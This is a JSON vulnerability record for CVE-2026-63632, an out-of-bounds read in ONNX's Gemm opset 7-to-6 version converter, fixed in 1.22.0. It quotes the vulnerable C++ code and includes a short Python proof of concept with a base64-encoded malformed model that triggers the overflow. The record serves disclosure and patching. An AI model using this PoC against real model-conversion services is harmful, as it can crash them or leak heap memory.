{"id":"CVE-2026-63632","aliases":["CVE-2026-63632","GHSA-p893-rvq9-2xf9","PYSEC-2026-3587"],"related":[],"kind":"vulnerability","state":"published","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","summary":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto& A_shape = inputs[0]->sizes();  // May have < 2 elements\nconst auto& B_shape = inputs[1]->sizes();  // May have < 2 elements\n\nif (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","format":"markdown","source":"ghsa"}],"published":"2026-07-24T15:48:04.000Z","modified":"2026-09-18T20:05:53.723Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","score":3.3,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","score":3.3,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","score":3.3,"rating":"LOW"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","score":3.3,"rating":"LOW"}],"cwes":["CWE-125"],"affected":[{"ranges":[{"version":">= 1.3.0, < 1.22.0","status":"affected"}],"vendor":"onnx","product":"onnx","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.3.0","status":"affected","fixed":"1.22.0"}],"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"1.3.0","status":"affected","fixed":"1.22.0"}],"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","source":"pysec"}],"references":[{"url":"https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/onnx/onnx/pull/7880","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/onnx/onnx/releases/tag/v1.22.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/onnx/onnx","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/onnx","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-p893-rvq9-2xf9","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63632","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-08-18T18:51:22.894Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-63632","url":"https://www.cve.org/CVERecord?id=CVE-2026-63632","licence":"CVE Terms of Use","modified":"2026-08-18T18:51:29.068Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p893-rvq9-2xf9","url":"https://github.com/advisories/GHSA-p893-rvq9-2xf9","licence":"CC-BY-4.0","modified":"2026-08-04T14:41:07.048Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-63632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63632","licence":"Public domain","modified":"2026-09-18T20:05:53.723Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3587","url":"https://osv.dev/vulnerability/PYSEC-2026-3587","licence":"CC-BY-4.0","modified":"2026-08-04T14:30:27.716Z"}],"updatedAt":"2026-11-25T22:59:33.477Z","epss":{"score":0.00229,"percentile":0.14612,"date":"2026-12-01T12:00:22.000Z"}}